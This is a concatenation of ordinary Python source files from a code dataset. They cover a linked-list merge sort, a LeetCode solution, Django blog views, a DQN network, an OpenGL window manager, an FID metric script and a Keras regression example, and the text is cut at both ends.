STARTMENU():\n print('* * * * * * * * * * * * * * * * *')\n print('* ~FILE CREATION~ *')\n print('* *')\n print('* _ _ _ _ OPTIONS _ _ _ _ *')\n print('* | | *')\n print('* | 1. CREATE/EDIT FILE | *')\n print('* | 2. EXIT | *')\n print('* |_ _ _ _ _ _ _ _ _ _ _ _ _| *')\n print('* *')\n print('* * * * * * * * * * * * * * * * *')\n\nif start == 'y':\n print('')\n STARTMENU()\n answer= input('What would you like to do? (1/2) ')\n if answer == '1':\n clear()\n NEWFILE()\n elif answer == '2':\n clear()\n print('Goodbye!')\n time.sleep(4)\n sys.exit()\nelse:\n clear()\n print('Goodbye!')\n time.sleep(4)\n sys.exit()\n","sub_path":"FilesHW.py","file_name":"FilesHW.py","file_ext":"py","file_size_in_byte":5396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"339689389","text":"import sys\nclass node: \n\n def __init__(self, info): \n self.info = info \n self.next = None\n\n\nclass LinkedList: \n\n def __init__(self): \n self.head = None\n\n\n def display(self):\n temp = self.head \n while (temp): \n print(\"{} ->\".format(temp.info)),\n temp = temp.next\n print(\"NULL\")\n \n def count(self):\n count=0\n temp=self.head\n while(temp):\n count+=1\n temp=temp.next\n return count\n \n def serach(self,value):\n temp=self.head\n pos=1\n while(temp):\n if(temp.info==value):\n print(\"The value found at\",pos)\n temp=temp.next\n pos+=1\n print(\"Value not found in the linked list\")\n def insert_at_beg(self,data):\n self.temp = node(data)\n if self.head is None:\n self.head = self.temp\n return\n self.temp.next = self.head\n self.head= self.temp\n def insert_at_end(self,data):\n self.temp = node(data)\n if self.head is None:\n self.head = self.temp\n return\n self.p = self.head\n while self.p.next is not None:\n self.p=self.p.next\n self.p.next = self.temp;\n \n def insert_after_given_node(self,data,item):\n self.p=self.head\n while self.p is not None:\n if(self.p.info==item):\n self.temp=node(data)\n self.temp.next=self.p.next\n self.p.next=self.temp\n return\n self.p=self.p.next\n print(\"Item not found\")\n\n def insert_at_pos(self,data,pos):\n self.temp=node(data)\n if pos==1:\n self.temp.next = self.head\n self.head= self.temp\n return\n self.p=self.head\n while pos>2 and self.p is not None:\n self.p=self.p.next\n pos-=1\n if self.p is None:\n print(\"Position exceeded the length of the list\")\n else:\n self.temp.next=self.p.next\n self.p.next=self.temp\n def delete(self,data):\n if self.head is None:\n print(\"List is empty\")\n return\n if self.head.info==data:\n self.temp=self.head\n self.head=self.head.next\n return\n self.p=None\n self.curr=self.head\n while self.curr is not None:\n if self.curr.info==data:\n self.temp=self.p.next\n self.p.next=self.temp.next\n return\n self.p=self.curr\n self.curr=self.curr.next\n \ndef divide(p):\n q=p.next.next\n \n while q is not None:\n p=p.next\n q=q.next\n if q is not None:\n q=q.next\n \n start_second=p.next\n p.next=None\n return start_second\ndef merge(head1,head2):\n mergelist=None\n if head1==None:\n return head1\n if head2==None:\n return head2\n \n if head1.info<=head2.info:\n mergelist=head1\n head1=head1.next\n else:\n mergelist=head2\n head2=head2.next\n temp=mergelist\n while head1 and head2:\n if head1.info<=head2.info:\n temp.next=head1\n temp=temp.next\n head1=head1.next\n else:\n temp.next=head2\n temp=temp.next\n head2=head2.next\n \n if head1 is None:\n temp.next=head2\n else:\n temp.next=head1\n return mergelist\n \ndef mergeSort(head):\n if head and head.next:\n start_first=head\n start_second=divide(head)\n start_first = mergeSort(start_first)\n start_second = mergeSort(start_second)\n start_merged = merge(start_first, start_second)\n return start_merged\n else:\n return head\nif __name__=='__main__':\n llist=LinkedList()\n list1=LinkedList()\n print(\"Enter number of elements\")\n n=int(input())\n for i in range(n):\n llist.insert_at_end(int(input()))\n list1.head=mergeSort(llist.head)\n list1.display()\n","sub_path":"Applied Course/4.Problem Solving/3.Problems on Linked List/19.Merge sort for Linked List.py","file_name":"19.Merge sort for Linked List.py","file_ext":"py","file_size_in_byte":4060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"314326360","text":"## Target Sum\n\n# Example 1:\n# Input: nums = [1,1,1,1,1], target = 3\n# Output: 5\n# Explanation: There are 5 ways to assign symbols to make the sum of nums be target 3.\n# -1 + 1 + 1 + 1 + 1 = 3\n# +1 - 1 + 1 + 1 + 1 = 3\n# +1 + 1 - 1 + 1 + 1 = 3\n# +1 + 1 + 1 - 1 + 1 = 3\n# +1 + 1 + 1 + 1 - 1 = 3\n\n# Example 2:\n# Input: nums = [1], target = 1\n# Output: 1\n\n\nclass Solution:\n def findTargetSumWays(self, nums: List[int], target: int) -> int:\n \n ## Dynamic Programming\n ## https://leetcode.com/problems/target-sum/discuss/2137338/python-simple-solutions\n dp={}\n \n def helper(idx,val):\n if idx==len(nums):\n if val==target:\n return 1\n return 0\n \n if (idx,val) in dp:\n return dp[(idx,val)]\n \n dp[(idx,val)] = helper(idx+1, val+nums[idx]) + helper(idx+1, val-nums[idx])\n \n return dp[(idx,val)]\n \n return helper(0,0)\n \n result = 0 \n \n if not nums:\n return result\n \n ## Recursive DFS - Working & Not Submitting\n def helper(idx, val):\n if idx==len(nums):\n if val==target:\n nonlocal result\n result+=1\n return\n \n helper(idx+1, val+nums[idx])\n helper(idx+1, val-nums[idx])\n \n helper(0,0)\n \n return result\n \n # BFS - Time Limit Exceeded\n queue = [0]\n result = 0\n idx = 0 \n while queue and idx<=len(nums):\n size = len(queue)\n print(idx, queue)\n for _ in range(size):\n curr = queue.pop(0)\n if curr == target and idx==len(nums):\n result+=1\n \n if idx>=len(nums):\n continue\n \n temp1, temp2 = curr+nums[idx], curr-nums[idx]\n queue.append(temp1)\n queue.append(temp2)\n \n idx+=1\n \n return result","sub_path":"Leetcode/Queue & Stack/p1389.py","file_name":"p1389.py","file_ext":"py","file_size_in_byte":2178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"150952410","text":"from django.shortcuts import render, get_object_or_404, redirect\r\nfrom .models import Blog\r\nfrom .forms import BlogForm\r\nfrom django.views.decorators.http import require_POST\r\nfrom django.views.generic import ListView\r\n\r\ndef home(request):\r\n blogs = Blog.objects.order_by('-created_datetime', 'origin')\r\n # blogs = get_object_or_404(Blog)\r\n return render(request, 'blogs/home.html', {'blogs':blogs})\r\n\r\ndef detail(request, blog_id):\r\n blog = get_object_or_404(Blog, id=blog_id)\r\n # blog = Blog.objects.get(id=blog_id)\r\n return render(request, 'blogs/detail.html', {'blog': blog})\r\n\r\ndef blog_list(request):\r\n blogs = Blog.objects.order_by('-created_datetime', 'origin')\r\n return render(request, 'blogs/blog_list.html', {'blogs':blogs})\r\n\r\ndef new_form(request):\r\n if request.method == 'POST':\r\n form = BlogForm(request.POST, request.FILES)\r\n if form.is_valid():\r\n model = form.save(commit=False)\r\n model.user = request.user\r\n context_object_name = 'image_list'\r\n model.save()\r\n return redirect('blogs:new_form')\r\n else:\r\n form = BlogForm()\r\n return render(request, 'blogs/new_form.html', {'form': form})\r\n\r\ndef form_detail(request, blog_id):\r\n if request.method == \"POST\":\r\n blog = Blog.objects.get(id=blog_id)\r\n form = BlogForm(request.POST, request.FILES, instance=blog)\r\n if form.is_valid():\r\n model = form.save(commit=False)\r\n model.user = request.user\r\n context_object_name = 'image_list'\r\n model.save()\r\n return redirect('blogs:blog_list')\r\n else:\r\n blog = Blog.objects.get(id=blog_id)\r\n form = BlogForm(instance=blog)\r\n return render(request, 'blogs/form_detail.html', {'form': form, 'blog': blog})\r\n\r\n@require_POST #POSTメソッドの時だけ、削除する\r\ndef form_delete(request, blog_id):\r\n blog = get_object_or_404(Blog, id=blog_id)\r\n if request.method == 'POST':\r\n blog.delete()\r\n return redirect('blogs:blog_list')\r\n return render(request, 'blogs/form_delete.html', {'blog': blog})\r\n","sub_path":"original_blog/blogs/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"513383846","text":"import redis\nimport numpy as np\nimport pylab as plt\n\nplt.rcParams['font.sans-serif']=['SimHei'] #用来正常显示中文标签\nplt.rcParams['axes.unicode_minus']=False #用来正常显示负号\n\n\n# 连接池\npool = redis.ConnectionPool(host='localhost', port=6379, decode_responses=True)\nr = redis.Redis(connection_pool=pool)\nlocation_dict = eval(r.hget('anadata', 'location'))\n\nlocation_list = sorted(location_dict.items(),key=lambda item:item[1])\nlocation_dict = {}\nfor i in location_list:\n location_dict[i[0]] = i[1]\n\nloc=[]\n\nloc_value = []\nfor i in location_dict.keys():\n loc.append(i)\n loc_value.append(location_dict[i])\n\nxtop = loc_value\nidx = np.arange(35)\nfig = plt.figure(figsize=(12,16))\nplt.barh(idx, xtop, color='b',alpha=0.6)\nplt.yticks(idx+0.4,loc)\nplt.grid(axis='x')\nplt.title('coding会员位置分布')\n\nfor score, pos in zip(xtop, idx): \n plt.text(score + 80, pos-0.2, score, ha='center', va='bottom', fontsize=10) \nplt.show()\n","sub_path":"userfulPythonScript/spider/coding_spider/location_figure.py","file_name":"location_figure.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"397615697","text":"# -*- coding: utf-8 -*-\nfrom abc import ABC\n\nimport torch as T\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport numpy as np\n\n\nclass DeepQNetwork(nn.Module, ABC):\n\n def __init__(self, lr, num_agents, action_size, input_size):\n super(DeepQNetwork, self).__init__()\n\n \"\"\" Set seed for reproducibility \"\"\"\n T.manual_seed(0)\n self.num_agents = num_agents\n \n \"\"\" Shared DNN - Convolutional \"\"\"\n self.conv1 = nn.Conv2d(4, 16, 3)\n\n x_test = T.tensor(np.zeros(tuple([1]) + input_size)).float()\n fc_input_size = self.size_of_conv_out(x_test)\n \n \"\"\" Shared DNN - Dense \"\"\"\n \n self.fc1 = nn.Linear(fc_input_size, 512)\n self.fc2 = nn.Linear(512, 512)\n self.fc3 = nn.Linear(512, 512)\n \n \"\"\" Individual DNN \"\"\"\n \n self.ff1 = nn.Linear(512, action_size*num_agents)\n\n if T.cuda.is_available():\n self.device = T.device('cuda')\n print('YOU ARE USING YOUR GPU. LETS HAVE SOME FUN!')\n else:\n self.device = T.device('cpu')\n print('YOUR GPU IS MISSING. POOR CPU. ITS IN CHARGE OF EVERYTHING!')\n \n self.to(self.device)\n\n self.optimizer = optim.Adam(self.parameters(), lr=lr)\n\n self.loss = nn.SmoothL1Loss()\n self.loss2 = nn.SmoothL1Loss(reduction = 'none')\n\n def forward(self, x):\n \"\"\" Forward function. \"\"\"\n \n \"\"\" Shared DDN - Convolutional \"\"\"\n x = F.relu(self.conv1(x))\n x = T.flatten(x, start_dim=1)\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = F.relu(self.fc3(x))\n\n \"\"\" Paralel DDN - Linear \"\"\"\n Qf = F.relu(self.ff1(x)) # SI NO PONGO UNA CAPA DE ACTIVACIÓN DE SALIDA, EL RESULTADO ES PEOR. MISTERIO MISTERIO! #\n \n return Qf\n \n\n def size_of_conv_out(self, x):\n \"\"\"\n Function to extract the output size of the convolutional network.\n\n :param x: Input of the convolutional network\n :return: Integer with the size of the input of the next layer (FC)\n \"\"\"\n\n x = self.conv1(x)\n x = T.flatten(x, start_dim=1)\n\n return x.shape[1]\n","sub_path":"MultiagentScenario/MARL/Qnet.py","file_name":"Qnet.py","file_ext":"py","file_size_in_byte":2249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"494890360","text":"#-------------------------------------------------------------------------------\n# Purpose: Compute Some Language Statistics\n#\n# Author: Momin Khan\n#-------------------------------------------------------------------------------\n\"\"\"\nA python program that opens, reads, and analyzes a very large text file. \n\nThe program will read in a large text file line by line and then it will\nprint out some statistics. The statistics that the program will fill out are\nthe longest word used in the file (or one of the longest words), the five most\ncommon words in the file, and all the words in the file with the number of\ntimes they are used (this last part will be put in another file called out.txt).\n\"\"\"\n# Enter your function definitions here to perform the various tasks\ndef main():#the main function where all of the other functions are called and a majority of the user interaction/input takes place\n print(\"\\n\\nWelcome the Text File Analyzer Program! The file you input will be analyzed thoroughly!\\n\\n\") #Welcome message\n file_name = input(\"Please enter name of text file that is located within the current working directory (ex.test.txt): \")\n word_set = open_read_file(file_name) #read the file\n print(\"Now processing file...\\n\\n\")\n print(\"The longest word in the file is: \", longest_word(word_set)) #print longest word\n print('\\n\\n')\n print(\"The five most common words are:\\n\")\n five_most_common(word_set) #print five most common words\n print('\\n\\n')\n print(\"The program will now alphabetically print the words and the number of times each is used.\\n\")\n print_results_to_out_file(word_set) #print to another text file\n print(\"\\n\\nThe usage of all words has been printed to the file you specified. Please check in your current working directory.\")\n print(\"\\n\\nThank you for using the Text File Analyzer Program!Come back soon!\\n\\n\") #Goodbye message\n \n\ndef open_read_file(file_name):\n \"\"\"\n File reading function\n\n Function opens file and then reads the content line by line.\n It splits the words in each line and adds the words to a list\n for comparison later on.\n \"\"\"\n word_list = [] #creates an empty list to store all the words in the file\n \n with open(file_name,'r',encoding='utf-8') as file: #reads file with encoding \n for line in file: #reads one line of code at a time\n for word in line.split(): #reads one word of line at a time\n if word.isalpha(): #checks if word is all letters and no numbers\n standardized_word = word.strip('-@#$%^&!*.,?<>+=_:()\\\"\\\"\\'\\'\\\\/;') #strips all the non essential characters\n standardized_word = standardized_word.lower() #makes all letters lowercase for standardized comparison\n word_list.append(standardized_word) #adds word to word list\n file.close() #closes file\n return word_list #returns word list\n \n \n\ndef longest_word(word_list):\n \"\"\"\n Longest word finding function\n\n This function goes through the word list that was created\n and finds the longest word in the file. If two words are\n of equal length, the program just sticks with the word that\n is saved in the longest word variable. \n \"\"\"\n curr_longest_word = '' #longest word variable\n for word in word_list: #goes through list looking for longest word by comparing words in list to each other\n if(len(word) > len(curr_longest_word)):\n curr_longest_word = word\n return curr_longest_word #word that is longest after the for loop ends is the longest word in the file\n\ndef get_value(tuple):\n \"\"\"\n Function used for items tuple\n\n When the sorted method is used on a dictionary, it\n alphabetically sorts using the keys. This method\n allows the user to sort the dictionary using the values\n \"\"\"\n key,value = tuple #defines tuple\n return value #returns the vales\n\ndef five_most_common(word_set):\n \"\"\"\n Five most common word finding function\n\n Finds the five most common words in the file.\n Uses the get value function to sort the word\n dictionary by value to find which words are\n used the most.\n \"\"\"\n word_dict = usage_all_words(word_set) #word dictionary is created\n counter = 1 #counter for top five words created\n for (word,num) in sorted(word_dict.items(),key=get_value,reverse=True): #compares words using value\n if counter <= 5: #limit of only five words\n print(counter,' - ',word,' -> ',num) #prints out top five words\n counter += 1 #counter incremented\n \n\ndef usage_all_words(word_list):\n \"\"\"\n Function creates dictionary of usage of all words\n\n The function looks at each word in the word list\n and increments its dictionary value. It also\n checks if the word exists and if it does not,\n then it adds the word to the dictionary.\n \"\"\"\n usage_each_word = {} #empty dictionary that will store usage of each word\n for word in word_list:\n if(word in usage_each_word): #checks if word exists in dictionary\n usage_each_word[word] += 1 #increments existing word value\n else:\n usage_each_word[word] = 1 #creates word and gives value if word does not exist\n return usage_each_word #returns word usage dictionary\n\ndef print_results_to_out_file(word_list):\n \"\"\"\n Function that writes results to a file\n\n The user specifies a file within the CWD and\n the program prints the usage of each word to\n that file in alphabetical order.\n \"\"\"\n word_dict = usage_all_words(word_list) #word dictionary is created\n output_file = input(\"\\n\\nPlease enter name of file where you would like statistics written (ex.out.txt): \") #input file name requested\n counter = 1\n with open(output_file,'w',encoding='utf-8') as file: #file is opened in writing mode and is encoded\n for (word,num) in sorted(word_dict.items()): #the file is sorted by key automatically in alphabetical order\n what_to_write = str(counter)+ ' - '+ word + ' -> ' + str(num) + '\\n' #writes usage of words to file\n file.write(what_to_write) #writes to file\n counter += 1\n \n\nif __name__ == '__main__': #just an if statement needed to make sure that program starts in the main method\n main()\n","sub_path":"wordstats.py","file_name":"wordstats.py","file_ext":"py","file_size_in_byte":6298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"357857148","text":"#\n# This file is part of the Infinite Improbability Drive.\n#\n# Copyright (C) 2009 by Jernej Kos \n# Copyright (C) 2009 by Anze Vavpetic \n#\nfrom OpenGL.GL import *\nfrom OpenGL.GLU import *\nfrom OpenGL.GLUT import *\nimport logging\n\n# IID imports\nfrom iid.events import EventDispatcher, EventType, Signalizable\nfrom iid.gui.window import Titlebar, WindowFlags\n\n# Logger for this module\nlogger = logging.getLogger(__name__)\n\nclass WindowManager(Signalizable):\n \"\"\"\n Window manager is the top level manager for GUI events.\n \"\"\"\n context = None\n windows = None\n widgetStyle = None\n \n # For handling game clicks\n gameClickState = 0\n \n # Current instance\n __manager = None\n \n def __init__(self, context):\n \"\"\"\n Class constructor.\n \n @param context: A valid IID Context instance\n \"\"\"\n super(WindowManager, self).__init__()\n WindowManager.__manager = self\n self.context = context\n self.windows = []\n \n # Register signal handlers\n context.events.subscribe(EventType.MouseMove, self.event)\n context.events.subscribe(EventType.MousePress, self.event)\n \n @staticmethod\n def getManager():\n \"\"\"\n Returns the current WindowManager instance.\n \"\"\"\n return WindowManager.__manager\n \n def setWidgetStyle(self, style):\n \"\"\"\n Sets a widget style to use.\n \"\"\"\n self.widgetStyle = style\n \n def setFocus(self, window):\n \"\"\"\n Sets the window that currently has focus by decreasing order\n to all windows previously above this window and setting this\n window's order to maximum value.\n \"\"\"\n if len(self.windows):\n self.windows[0].active = False\n self.windows[0].emit(\"Window.lostFocus\")\n \n try:\n self.windows.remove(window)\n except ValueError:\n pass\n \n self.windows.insert(0, window)\n window.active = True\n window.emit(\"Window.gotFocus\")\n \n def registerWindow(self, window):\n \"\"\"\n Registers a new window with this window manager.\n \n @param window: A valid Window instance\n \"\"\"\n self.setFocus(window)\n \n if window.flags & WindowFlags.Titlebar:\n # Generate a titlebar\n window.titlebar = Titlebar(window)\n \n @Signalizable.slot(\"Game.click\")\n def gameAreaClicked(self, x, y):\n \"\"\"\n Called when game area has been clicked. Perform scene picking and\n call entity behaviour routines.\n \"\"\"\n obj = self.context.scene.pick(x, y)\n if obj and obj.behaviour:\n obj.behaviour.emit(\"Entity.userMouseClick\", x, y)\n \n def event(self, event):\n \"\"\"\n Event handler (dispatch events to widgets).\n \"\"\"\n if event.eventType in (EventType.MouseMove, EventType.MousePress):\n # Dispatch to proper widget\n for window in self.windows:\n # Window titlebars are separate entities, since they are drawn\n # by the window manager and are not part of a window\n if window.titlebar and window.titlebar.containsCoordinates(event.x, event.y):\n self.gameClickState = 0\n window.titlebar.event(event)\n break\n \n if window.containsCoordinates(event.x, event.y):\n self.gameClickState = 0\n window.event(event)\n break\n else:\n # No window accepted mouse press event, active window looses focus\n if len(self.windows) and event.eventType == EventType.MousePress:\n self.windows[0].active = False\n self.windows[0].emit(\"Window.lostFocus\")\n \n # Emit game mouse click event\n if event.state == GLUT_DOWN:\n self.gameClickState = 1\n elif event.state == GLUT_UP and self.gameClickState == 1:\n self.gameClickState = 0\n self.emit(\"Game.click\", event.x, event.y)\n elif event.eventType == EventType.Keyboard:\n # Get currently focused widget\n if len(self.windows) and self.windows[0].active:\n self.windows[0].event(event)\n \n def render(self):\n \"\"\"\n Emits paint events to all visible top-level windows in reverse\n order (so windows below everything get painted first).\n \"\"\"\n glEnable(GL_BLEND)\n glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA)\n \n glDisable(GL_DEPTH_TEST)\n glDisable(GL_LIGHTING)\n glDisable(GL_TEXTURE_2D)\n \n glMatrixMode(GL_PROJECTION)\n glPushMatrix()\n glLoadIdentity()\n gluOrtho2D(0, self.context.scene.width, 0, self.context.scene.height)\n glScalef(1, -1, 1)\n glTranslatef(0, -self.context.scene.height, 0)\n glMatrixMode(GL_MODELVIEW)\n glPushMatrix()\n glLoadIdentity()\n \n for window in self.windows[::-1]:\n if window.visible:\n self.__paintWindow(window)\n \n glPopMatrix()\n glMatrixMode(GL_PROJECTION)\n glPopMatrix()\n glMatrixMode(GL_MODELVIEW)\n \n glDisable(GL_BLEND)\n glEnable(GL_DEPTH_TEST)\n glEnable(GL_LIGHTING)\n glEnable(GL_TEXTURE_2D)\n \n def __paintWindow(self, window):\n \"\"\"\n Paints a window to the screen.\n \"\"\"\n if window.titlebar and window.titlebar.visible:\n window.titlebar._paint()\n \n window._paint()\n \n","sub_path":"iid/gui/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":5070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"311153686","text":"N = int(input())\nS = input()\n\ndef isOk(first, second):\n prev, now = first, second\n ret = [prev]\n\n for s in S[1:] + S[0]:\n ret.append(now)\n isSame = (s == 'o')\n\n if isSame == now:\n prev, now = now, prev\n else:\n prev, now = now, not prev\n\n return ret if (first == prev and second == now) else []\n\nfor first in [True, False]:\n for second in [True, False]:\n ans = isOk(first, second)\n if ans:\n print(''.join(['S' if a else 'W' for a in ans[:-1]]))\n exit()\n\nprint('-1')\n","sub_path":"AtCoder/arc/069d_3.py","file_name":"069d_3.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"570341640","text":"#!/usr/bin/env python3\n\"\"\"Calculates the Frechet Inception Distance (FID) to evalulate GANs\n\nThe FID metric calculates the distance between two distributions of images.\nTypically, we have summary statistics (mean & covariance matrix) of one\nof these distributions, while the 2nd distribution is given by a GAN.\n\nWhen run as a stand-alone program, it compares the distribution of\nimages that are stored as PNG/JPEG at a specified location with a\ndistribution given by summary statistics (in pickle format).\n\nThe FID is calculated by assuming that X_1 and X_2 are the activations of\nthe pool_3 layer of the inception net for generated samples and real world\nsamples respectivly.\n\nSee --help to see further details.\n\nCode apapted from https://github.com/bioinf-jku/TTUR to use PyTorch instead\nof Tensorflow\n\nCopyright 2018 Institute of Bioinformatics, JKU Linz\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\nimport os\nimport pathlib\nfrom argparse import ArgumentParser, ArgumentDefaultsHelpFormatter\n\nimport torch\nimport numpy as np\nfrom scipy.misc import imread\nfrom scipy import linalg\nfrom torch.autograd import Variable\nfrom torch.nn.functional import adaptive_avg_pool2d\n\nfrom blox.torch.evaluation.FID.inception import InceptionV3\nfrom blox.torch.evaluation.FID.fid_counter import FIDCounter, calculate_frechet_distance\n\n\nparser = ArgumentParser(formatter_class=ArgumentDefaultsHelpFormatter)\nparser.add_argument('path', type=str, nargs=2,\n help=('Path to the generated images or '\n 'to .npz statistic files'))\nparser.add_argument('--batch-size', type=int, default=64,\n help='Batch size to use')\nparser.add_argument('--dims', type=int, default=2048,\n choices=list(InceptionV3.BLOCK_INDEX_BY_DIM),\n help=('Dimensionality of Inception features to use. '\n 'By default, uses pool3 features'))\nparser.add_argument('-c', '--gpu', default='', type=str,\n help='GPU to use (leave blank for CPU only)')\n\n\ndef _compute_statistics_of_path(path, counter):\n if path.endswith('.npz'):\n f = np.load(path)\n m, s = f['mu'][:], f['sigma'][:]\n f.close()\n else:\n path = pathlib.Path(path)\n files = list(path.glob('*.jpg')) + list(path.glob('*.png'))\n\n imgs = np.array([imread(str(fn)).astype(np.float32) for fn in files])\n\n # Bring images to shape (B, 3, H, W)\n imgs = imgs.transpose((0, 3, 1, 2))\n\n # Rescale images to be between 0 and 1\n imgs /= 255\n\n m, s = counter.calculate_activation_statistics(imgs)\n\n return m, s\n\n\ndef calculate_fid_given_paths(paths, batch_size, cuda, dims):\n \"\"\"Calculates the FID of two paths\"\"\"\n for p in paths:\n if not os.path.exists(p):\n raise RuntimeError('Invalid path: %s' % p)\n\n counter = FIDCounter(batch_size, dims, cuda)\n\n m1, s1 = _compute_statistics_of_path(paths[0], counter)\n m2, s2 = _compute_statistics_of_path(paths[1], counter)\n fid_value = calculate_frechet_distance(m1, s1, m2, s2)\n\n return fid_value\n\n\nif __name__ == '__main__':\n args = parser.parse_args()\n os.environ['CUDA_VISIBLE_DEVICES'] = args.gpu\n\n fid_value = calculate_fid_given_paths(args.path,\n args.batch_size,\n args.gpu != '',\n args.dims)\n print('FID: ', fid_value)\n","sub_path":"torch/evaluation/FID/fid_score.py","file_name":"fid_score.py","file_ext":"py","file_size_in_byte":3946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"201828892","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nECI RGB v2 Colourspace\n======================\n\nDefines the *ECI RGB v2* colourspace:\n\n- :attr:`ECI_RGB_V2_COLOURSPACE`.\n\nSee Also\n--------\n`RGB Colourspaces IPython Notebook\n`_ # noqa\n\nReferences\n----------\n.. [1] http://www.eci.org/_media/downloads/icc_profiles_from_eci/ecirgbv20.zip\n (Last accessed 13 April 2014)\n\"\"\"\n\nfrom __future__ import division, unicode_literals\n\nimport numpy as np\n\nfrom colour.colorimetry import ILLUMINANTS, lightness_1976, luminance_1976\nfrom colour.models import RGB_Colourspace, normalised_primary_matrix\n\n__author__ = 'Colour Developers'\n__copyright__ = 'Copyright (C) 2013 - 2014 - Colour Developers'\n__license__ = 'New BSD License - http://opensource.org/licenses/BSD-3-Clause'\n__maintainer__ = 'Colour Developers'\n__email__ = 'colour-science@googlegroups.com'\n__status__ = 'Production'\n\n__all__ = ['ECI_RGB_V2_PRIMARIES',\n 'ECI_RGB_V2_WHITEPOINT',\n 'ECI_RGB_V2_TO_XYZ_MATRIX',\n 'XYZ_TO_ECI_RGB_V2_MATRIX',\n 'ECI_RGB_V2_TRANSFER_FUNCTION',\n 'ECI_RGB_V2_INVERSE_TRANSFER_FUNCTION',\n 'ECI_RGB_V2_COLOURSPACE']\n\nECI_RGB_V2_PRIMARIES = np.array(\n [[0.67010309278350522, 0.32989690721649484],\n [0.20990566037735847, 0.70990566037735836],\n [0.14006179196704427, 0.080329557157569509]])\n\"\"\"\n*ECI RGB v2* colourspace primaries.\n\nECI_RGB_V2_PRIMARIES : ndarray, (3, 2)\n\"\"\"\n\nECI_RGB_V2_WHITEPOINT = ILLUMINANTS.get(\n 'CIE 1931 2 Degree Standard Observer').get('D50')\n\"\"\"\n*ECI RGB v2* colourspace whitepoint.\n\nECI_RGB_V2_WHITEPOINT : tuple\n\"\"\"\n\nECI_RGB_V2_TO_XYZ_MATRIX = normalised_primary_matrix(ECI_RGB_V2_PRIMARIES,\n ECI_RGB_V2_WHITEPOINT)\n\"\"\"\n*ECI RGB v2* colourspace to *CIE XYZ* colourspace matrix.\n\nECI_RGB_V2_TO_XYZ_MATRIX : array_like, (3, 3)\n\"\"\"\n\nXYZ_TO_ECI_RGB_V2_MATRIX = np.linalg.inv(ECI_RGB_V2_TO_XYZ_MATRIX)\n\"\"\"\n*CIE XYZ* colourspace to *ECI RGB v2* colourspace matrix.\n\nXYZ_TO_ECI_RGB_V2_MATRIX : array_like, (3, 3)\n\"\"\"\n\nECI_RGB_V2_TRANSFER_FUNCTION = lambda x: lightness_1976(x * 100) / 100\n\"\"\"\nTransfer function from linear to *ECI RGB v2* colourspace.\n\nECI_RGB_V2_TRANSFER_FUNCTION : object\n\"\"\"\n\nECI_RGB_V2_INVERSE_TRANSFER_FUNCTION = lambda x: (\n luminance_1976(x * 100) / 100)\n\"\"\"\nInverse transfer function from *ECI RGB v2* colourspace to linear.\n\nECI_RGB_V2_INVERSE_TRANSFER_FUNCTION : object\n\"\"\"\n\nECI_RGB_V2_COLOURSPACE = RGB_Colourspace(\n 'ECI RGB v2',\n ECI_RGB_V2_PRIMARIES,\n ECI_RGB_V2_WHITEPOINT,\n ECI_RGB_V2_TO_XYZ_MATRIX,\n XYZ_TO_ECI_RGB_V2_MATRIX,\n ECI_RGB_V2_TRANSFER_FUNCTION,\n ECI_RGB_V2_INVERSE_TRANSFER_FUNCTION)\n\"\"\"\n*ECI RGB v2* colourspace.\n\nECI_RGB_V2_COLOURSPACE : RGB_Colourspace\n\"\"\"\n","sub_path":"colour/models/dataset/eci_rgb_v2.py","file_name":"eci_rgb_v2.py","file_ext":"py","file_size_in_byte":2868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"632127142","text":"# Download the data using keras\nfrom keras.datasets import boston_housing\n(x_train, y_train),(x_test,y_test)=boston_housing.load_data()\n\n#This directly downoads the data into the Python environment for use\n\n# Import the necessary modules\nimport numpy as numpy\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Activation\n\n#Extract the last 100 rows from the training data to create validation datasets\nx_val=x_train[300:,]\ny_val=y_train[300:,]\n\n#Define the Model Arrchitecture\nmodel=Sequential()\nmodel.add(Dense(13, input_dim=13, kernel_initializer='normal', activation='relu'))\nmodel.add(Dense(6,kernel_initializer='normal',activation='relu'))\nmodel.add(Dense(1,kernel_initializer='normal',activation='relu'))\n\n#Compile the model\nmodel.compile(loss='mean_squared_error', optimizer='adam',metrics=['mean_absolute_percentage_error'])\n\n#Train the Model\nmodel.fit(x_train,y_train, batch_size=32, epochs=100000,validation_data=(x_val,y_val))\n\n#Evaluate the model\nresults=model.evaluate(x_test,y_test)\n\nfor i in range(len(model.metrics_names)):\n print(model.metrics_names[i],\" : 